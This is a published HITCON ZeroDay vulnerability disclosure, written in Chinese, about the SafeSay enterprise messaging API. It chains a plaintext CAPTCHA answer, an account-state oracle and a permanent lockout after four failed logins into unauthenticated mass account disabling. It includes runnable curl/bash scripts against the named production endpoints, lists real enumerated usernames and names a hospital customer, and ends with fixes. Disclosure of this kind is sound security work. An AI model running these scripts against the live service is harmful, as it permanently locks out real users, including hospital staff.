Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00614
- Vendor: 互動資通股份有限公司
- Title: 互動資通 SafeSay 全自動帳號永久癱瘓鏈 — CAPTCHA 答案明文回傳 + 四態帳號 Oracle + 4 次失敗永久停用 DoS
- Introduction: 某企業即時通訊 SaaS 平台存在三個相互增強的設計缺陷,攻擊者無需任何帳號即可全自動對企業所有帳號執行永久停用。
- 感謝函
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
未複測
-
公開
處理歷程
- 2026/04/30 18:40:16 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/05 00:22:25 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:31:57 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:31:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:31:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/06/26 15:27:31 : 修補中 (由 組織帳號 更新此狀態)
- 2026/06/26 15:27:50 : 修補中 (由 組織帳號 更新此狀態)
- 2026/06/26 17:06:52 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/07/02 09:08:48 : 未修補完成 (由 罐頭 更新此狀態)
- 2026/07/03 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00614
- 通報者:guan4tou2 (罐頭)
- 風險:嚴重
- 類型:邏輯漏洞 (Logic Flaws)
參考資料
漏洞說明: OWASP - Testing for business logic
https://www.owasp.org/index.php/Testing_for_business_logic
漏洞說明: CWE-840: Business Logic Errors
https://cwe.mitre.org/data/definitions/840.html
相關網址
https://bapi.safesay.net/v1/token
https://sbapi.safesay.net/getcaptcha
敘述
本報告為攻擊鏈組合。其中 CAPTCHA 明文洩漏已獨立通報為 ZD-2026-00613,JS bundle 硬編碼金鑰已獨立通報為 ZD-2026-00612。本報告聚焦於三個缺陷鏈合後的組織級 DoS 影響,遠超個別漏洞範疇。
漏洞概述
bapi.safesay.net 為 SafeSay 生產 Business API 端點(IP:34.120.236.246,GCP)。三個漏洞的組合構成一條無需認證、可完全自動化執行的攻擊鏈:
| 編號 | 漏洞 | CWE | 獨立 CVSS |
|---|---|---|---|
| 缺陷一 | CAPTCHA 答案明文回傳 | CWE-804 | 7.5 H |
| 缺陷二 | 四態帳號狀態 Oracle | CWE-204 | 5.3 M |
| 缺陷三 | 永久帳號停用 DoS(4 次失敗) | CWE-307, CWE-799 | 7.5 H |
| 鏈合 | 全自動組織級帳號癱瘓 | — | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:H = 9.3 Critical |
重現步驟(Live Verified: 2026-04-27)
步驟 1:取得 CAPTCHA 答案(bypass)
curl -s "https://bapi.safesay.net/getcaptcha" -H "Accept: application/json"
回應(生產環境 2026-04-27):
{
"data_base": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAGEAAAAoCAMA...",
"data_code": "nSb91yKOYtx0kUhdMuJc"
}
data_code 即為 CAPTCHA 答案。每次請求回傳新的 data_code,但由於答案已在回應中明文揭露,CAPTCHA 完全失去防護效果。
Staging 環境同樣受影響:sbapi.safesay.net/getcaptcha 回傳相同結構。
步驟 2:四態 Oracle 枚舉帳號狀態
# 取新的 CAPTCHA 答案
CAPTCHA=$(curl -s "https://bapi.safesay.net/getcaptcha" | python3 -c "import sys,json; print(json.load(sys.stdin)['data_code'])")
# 測試帳號
curl -s -X POST "https://bapi.safesay.net/v1/token" \
-d "account=<target>&password=wrongpass&captcha=&captcha_code=${CAPTCHA}"
四種回應對照(所有狀態均已 live-verified):
| code | reason | 帳號狀態 |
|---|---|---|
-100 |
無此帳號 | 不存在 |
-101 |
密碼錯誤 | 存在且已啟用 |
-998 |
帳號未完成註冊流程,請至WEB完成作業 | 存在但未完成註冊 |
-999 |
帳號未啟用 | 存在但已永久停用 |
已確認的生產帳號(2026-04-27/29 枚舉):
| 帳號 | 狀態 | 備註 |
|---|---|---|
frank |
-999 | 疑為互動資通員工(與 [email protected] 同名) |
henry |
-999 | |
wendy |
-999 | |
alice |
-999 | 停用(非本研究觸發) |
karen |
-101 | 啟用中帳號 |
tim |
-101 | 啟用中帳號 |
ken |
-998 | 未完成註冊(與開發者 [email protected] 同名) |
步驟 3:對存活帳號執行永久停用
TARGET="karen"
for i in 1 2 3 4; do
CAPTCHA=$(curl -s "https://bapi.safesay.net/getcaptcha" | python3 -c "import sys,json; print(json.load(sys.stdin)['data_code'])")
curl -s -X POST "https://bapi.safesay.net/v1/token" \
-d "account=${TARGET}&password=wrongpass${i}&captcha=&captcha_code=${CAPTCHA}"
echo "attempt $i"
done
# 第 4 次後確認狀態
CAPTCHA=$(curl -s "https://bapi.safesay.net/getcaptcha" | python3 -c "import sys,json; print(json.load(sys.stdin)['data_code'])")
curl -s -X POST "https://bapi.safesay.net/v1/token" \
-d "account=${TARGET}&password=check&captcha=&captcha_code=${CAPTCHA}"
# → {"code":-999,"reason":"帳號未啟用"}
帳號一旦進入 -999 狀態:
- 無自動解鎖 timeout
- 用戶無法自助恢復
- 需管理員手動介入(re-activate)
- 無速率限制、無 IP 封鎖、CAPTCHA 已完全繞過(步驟 1)
完整攻擊鏈(全自動,無需帳號)
for each common_username in wordlist:
1. GET /getcaptcha → data_code(CAPTCHA bypass)
2. POST /v1/token account=<username> →
code=-101:帳號存在(Oracle)→ 進行步驟 3
code=-100:帳號不存在 → 跳過
3. 重複 4 次 POST /v1/token(每次取新 data_code)→ 帳號變 -999
→ 整個企業 SafeSay 帳號全部永久停用
無速率限制 + CAPTCHA 完全失效 → 可在數分鐘內癱瘓數十至數百個企業帳號。
已驗證影響(Live Evidence)
- ✅
/getcaptcha明文回傳data_code(2026-04-27 生產環境) - ✅
/v1/token四態 Oracle 區分帳號狀態(-100/-101/-998/-999,2026-04-27/29) - ✅ frank / henry / wendy 三個生產帳號:4 次失敗後進入
-999,T+48h 仍未恢復(2026-04-27 驗證) - ✅ 無速率限制:連續請求無任何延遲或封鎖回應
- ✅ 無 IP 封鎖:驗證期間未觸發任何 IP 黑名單
- ✅ CSP header 確認長庚紀念醫院(
cghltcl.cgmh.org.tw)為 SafeSay 生產客戶
潛在影響
直接影響(已 live-verified):
- 任何攻擊者可對任意 SafeSay 企業客戶全員帳號執行永久停用
- 受害者無法自助恢復,需管理員逐一手動介入
高風險客戶(已確認):
- 長庚紀念醫院(cgmh.org.tw)— 醫療通訊依賴 SafeSay,帳號癱瘓可能影響院內即時通訊
- 其他企業客戶(帳號數量未知)
進一步攻擊面:
- 配合四態 Oracle 精確枚舉
-998狀態帳號(存在但未完成註冊),可針對性攻擊尚未啟用的帳號 - 以
frank(疑互動資通員工)為起點,嘗試跨系統帳號重用
修補建議
1. 立即 — CAPTCHA:`/getcaptcha` 回應中移除 `data_code` 欄位;答案應僅保存於 server-side session,不得回傳至 client
2. 立即 — 帳號停用門檻:將 4 次永久鎖定改為臨時鎖定(例如 15 分鐘),並加入 exponential backoff
3. 立即 — 帳號 Oracle:`/v1/token` 不論帳號是否存在,一律回傳相同的模糊錯誤訊息(例如「帳號或密碼錯誤」),消除四態差異
4. 短期 — 速率限制:對 `/v1/token` 加入 IP 層速率限制(建議每 IP 每分鐘 ≤ 10 次)
5. 短期 — 帳號停用通知:帳號觸發停用時,主動通知帳號持有人及管理員